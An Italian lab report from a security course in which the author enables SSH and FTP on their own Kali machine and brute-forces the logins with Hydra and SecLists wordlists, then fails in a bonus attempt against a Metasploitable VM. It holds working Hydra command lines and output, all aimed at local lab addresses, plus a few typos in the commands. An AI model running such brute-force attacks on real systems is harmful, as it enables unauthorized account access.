

# **LABORATORIO 17 GENNAIO 2025 S6-L5**

## **AUTHENTICATION CRACKING CON HYDRA**

L'esercizio di oggi ha un duplice scopo:

Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.

Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

**L'esercizio si svilupperà in due fasi:**

1. Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
2. Una seconda fase dove saremo liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

## FASE 1: CONFIGURAZIONE E CRACKING SSH:

- Creiamo un nuovo utente su Kali Linux, utilizzando il comando “adduser”.
- Chiamiamo l'utente **test\_user**, e configuriamo una password iniziale **testpass**.

```
(kali㉿kali)-[~]
$ sudo su
[sudo] password for kali:
(root㉿kali)-[/home/kali]
# adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] Y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

(root㉿kali)-[/home/kali]
#
```

- Attiviamo il servizio **ssh** con il comando **sudo service ssh start**:

```
(root㉿kali)-[/home/kali]
# sudo service ssh start
```

- Il file di configurazione del demone **sshd** lo troviamo al path **/etc/ssh/sshd\_config**, qui possiamo abilitare l'accesso all'utente root in **ssh** cambiare la porta e l'indirizzo di binding del servizio e modificare molte altre opzioni. Ricordare che per tutti i servizi c'è un file di configurazione dove possiamo modificare le impostazioni del servizio stesso. Ai fini dell'esercizio lasciamo il file così e procediamo.

```
(root@kali)-[~]  
# sudo nano /etc/ssh/sshd_config
```

```
root@kali: ~  
File Actions Edit View Help  
GNU nano 8.2 /etc/ssh/sshd_config  
# This is the sshd server system-wide configuration file. See  
# sshd_config(5) for more information.  
# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games  
# The strategy used for options in the default sshd_config shipped with  
# OpenSSH is to specify options with their default value where  
# possible, but leave them commented. Uncommented options override the  
# default value.  
Include /etc/ssh/sshd_config.d/*.conf  
#Port 22  
#AddressFamily any  
#ListenAddress 0.0.0.0  
#ListenAddress ::  
#HostKey /etc/ssh/ssh_host_rsa_key  
#HostKey /etc/ssh/ssh_host_ecdsa_key  
#HostKey /etc/ssh/ssh_host_ed25519_key  
# Ciphers and keying  
#RekeyLimit default none  
# Logging  
#SyslogFacility AUTH  
#LogLevel INFO  
# Authentication:  
#LoginGraceTime 2m  
#PermitRootLogin prohibit-password  
#StrictModes yes  
#MaxAuthTries 6  
#MaxSessions 10  
#PubkeyAuthentication yes  
# Expect .ssh/authorized_keys2 to be disregarded by default in future.  
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2  
#AuthorizedPrincipalsFile none  
#AuthorizedKeysCommand none  
#AuthorizedKeysCommandUser nobody  
# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
```

Modifichiamo il campo **#PermitRootLogin** e salviamo il file.

```
#LoginGraceTime 2m  
#PermitRootLogin yes  
#StrictModes yes  
#MaxAuthTries 6  
#MaxSessions 10
```

- Testiamo la connessione in SSH dell'utente appena creato sul sistema, eseguendo il comando seguente: **ssh test\_user@ip\_kali**, sostituire ip\_kali con l'IP della nostra macchina.

```
(root@kali)-[~]  
# ssh test_user@192.168.1.5
```

```
(root@kali)-[~]  
# ssh test_user@192.168.1.5  
The authenticity of host '192.168.1.5 (192.168.1.5)' can't be established.  
ED25519 key fingerprint is SHA256:8oW2yGdl201ZxWza9XXkaRUccsopUmkDfcMQ/+RizhA.  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '192.168.1.5' (ED25519) to the list of known hosts.  
test_user@192.168.1.5's password:
```

- Se le credenziali inserite sono corrette, dovremmo ricevere il prompt dei comandi dell'utente **test\_user** sulla nostra Kali.

```
(test_user@kali)-[~]  
$
```

- A questo punto, avendo verificato l'accesso, non ci resta che configurare **Hydra** per una sessione di cracking. Ovviamente in questo esercizio conosciamo già l'utente e la password per accedere, ma soffermiamoci sulla sintassi di Hydra per ora, successivamente possiamo

cambiare e scegliere username e password random per testare il sistema in «**blackbox**».

- Possiamo attaccare l'autenticazione SSH con Hydra con il seguente comando, dove `-l`, e `-p` minuscole si usano se vogliamo utilizzare un singolo username ed una singola password:

**hydra -l username -p password IP -t 4 ssh**

```
(test_user@kali)-[~]
$ hydra -l test_user -p testpass 192.168.1.5 -t 4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organi
for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 05:24:04
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.1.5:22/
[22][ssh] host: 192.168.1.5 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-17 05:24:04
(test_user@kali)-[~]
```

- Ipotizziamo di non conoscere username e password ed utilizziamo invece delle liste per l'attacco a dizionario. Useremo gli switch `-L`, `-P`. Il nostro comando sarà quindi:

**hydra -L username\_list -P password\_list IP\_KALI -t 4 ssh**

Utilizziamo le liste di **seclists** che avevamo installato precedentemente ed eseguiamo il comando:

```
(test_user@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames -P /usr/share/seclists/Passwords/xato-net-10-million-passwords 192.168.1.5 -t 4 ssh -V
```

```
[RE-ATTEMPT] target 192.168.1.5 - login "test_user" - pass "mustang" - 24 of 43048887321025 [child 1] (0/1)
[ATTEMPT] target 192.168.1.5 - login "test_user" - pass "testpass" - 25 of 43048887321026 [child 3] (0/2)
[ATTEMPT] target 192.168.1.5 - login "test_user" - pass "michael" - 26 of 43048887321026 [child 2] (0/2)
[22][ssh] host: 192.168.1.5 login: test_user password: testpass
[ATTEMPT] target 192.168.1.5 - login "info" - pass "123456" - 5189455 of 43048887321026 [child 3] (0/2)
[RE-ATTEMPT] target 192.168.1.5 - login "info" - pass "123456" - 5189455 of 43048887321026 [child 3] (0/2)
[RE-ATTEMPT] target 192.168.1.5 - login "info" - pass "123456" - 5189455 of 43048887321026 [child 3] (0/2)
[RE-ATTEMPT] target 192.168.1.5 - login "info" - pass "123456" - 5189455 of 43048887321026 [child 3] (0/2)
```

Possiamo Vedere che l'attacco è andato a buon fine e ci ha restituito le credenziali dell' host target sulla porta 22(SSH):

**login = test\_user**

**password = testpass**

**NB: A causa dell'enorme numero di Usernames e Passwords presenti all'interno dei file mi sono visto costretto a modificare le liste per ottenere più rapidamente il risultato sperato.**

**FASE 2: SCEGLIERE UN SERVIZIO DA CONFIGURARE E PROVARE A CRACCARE L'AUTENTICAZIONE CON HYDRA.**

Optiamo per il servizio **ftp** installandolo con il comando:  
**"sudo apt install vsftpd".**

```
(kali㉿kali)-[~]
$ sudo apt install vsftpd
The following packages were automatically installed and are no longer required:
 fonts-liberation2 libboost-iostreams1.83.0 libgail18t64 libgles-dev libgtk2.0-0t64
 hydra-gtk libboost-thread1.83.0 libgeos3.12.2 libgles1 libgtk2.0-bin
 ibverbs-providers libcephfs2 libgfs2 libglusterfs0 libgtk2.0-common
 libassuan0 libegl-dev libgfrpc0 libglvnd-core-dev libibverbs1
 libavfilter9 libfmt9 libgfs2 libglvnd-dev libimobiledevice6
 libbfio1 libgail-common libgl1-mesa-dev libgsPELL-1-2 libiniparser1
Use 'sudo apt autoremove' to remove them.

Installing:
 vsftpd

Summary:
 Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 181
 Download size: 142 kB
 Space needed: 352 kB / 47.7 GB available

Get:1 http://kali.mirror.garr.it/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13.1 [142 kB]
Fetched 142 kB in 1s (220 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 430895 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13.1_amd64.deb ...
Unpacking vsftpd (3.0.3-13.1) ...
Setting up vsftpd (3.0.3-13.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /v
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.13.0-1) ...
Processing triggers for kali-menu (2024.4.0) ...
```

Avviamo ora il servizio con: “**service vsftpd start**”

```
(kali㉿kali)-[~]
$ sudo service vsftpd start

(kali㉿kali)-[~]
$
```

Diamo il comando per avviare l’attacco con Hydra:

```
(kali㉿kali)-[~]
$ hydra -l /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.1.5 -t4 ftp -V
```

Anche in questo caso ci restituirà in output le credenziali corrette sulla porta 21 (FTP):

```
[ATTEMPT] target 192.168.1.5 - login "test_user" - pass "pussy" - 28 of 4304
[21][ftp] host: 192.168.1.5 login: test_user password: testpass
[ATTEMPT] target 192.168.1.5 - login "info" - pass "123456" - 5189455 of 4304
```

## ESERCIZIO BONUS:

Attaccare anche SSH su Metasploitable:

Controlliamo che la porta 22 sia aperta su Metasploitable:

```
File Actions Edit View Help
zsh: corrupt history file /home/kali/.zsh_history
(kali㉿kali)-[~]
$ nmap -p 22 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-17 09:36 EST
Nmap scan report for 192.168.1.3
Host is up (0.00040s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
MAC Address: 08:00:27:3F:28:90 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 6.70 seconds

(kali㉿kali)-[~]
$
```

Una volta verificato che la porta 22 SSH è aperta effettuiamo una seconda verifica e ci accorgiamo che le chiavi degli algoritmi utilizzati non combaciano tra loro.

```
(kali㉿kali)-[~]
$ ssh 192.168.1.3
Unable to negotiate with 192.168.1.3 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
```

```
(kali㉿kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.1.3 -t10 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 09:43:35
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -i to skip waiting)) from a previous session found, ./hydra.restore
[DATA] max 10 tasks per 1 server, overall 10 tasks, 4304887321024 login tries (l:8295456/p:5189454), ~430488732103 tries per task
[DATA] attacking ssh://192.168.1.3:22/
[ERROR] could not connect to ssh://192.168.1.3:22 - kex error : no match for method server host key algo: server [ssh-rsa,ssh-dss], client [ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp
com,sk-ecdsa-sha2-nistp256@openssh.com,rsa-sha2-512,rsa-sha2-256]
```



Proviamo quindi a modificare il file `/etc/ssh/sshd_config` aggiungendo queste chiavi al suo interno.

```
# Abilitare algoritmi per compatibilità
HostKeyAlgorithms +ssh-rsa
PubkeyAcceptedAlgorithms +ssh-rsa
```

Riprovo a dare il comando:

```
kali@kali:~$ hydra -u /usr/share/seclists/Username/zato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/zato-net-10-million-passwords.txt 192.168.1.3 ssh -H HostKeyAlgorithms=ssh-rsa
hydra v9.5 (c) 2023 by van Hauser/THC © David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 18:58:08
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 43048087321024 login tries (1:8295456/p:5189454), ~10762221830256 tries per task
[DATA] attacking ssh://192.168.1.3:22/
[ERROR] could not connect to ssh://192.168.1.3:22 - kex error : no match for method server host key algo: server [ssh-rsa,ssh-dss], client [rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,sk-ssh-ed25519@openssh.com,sk-ecdsa-sha2-nistp256@openssh.com]
```

Purtroppo, dopo numerosissimi tentativi, non sono riuscito ad eseguire l' esercizio Bonus.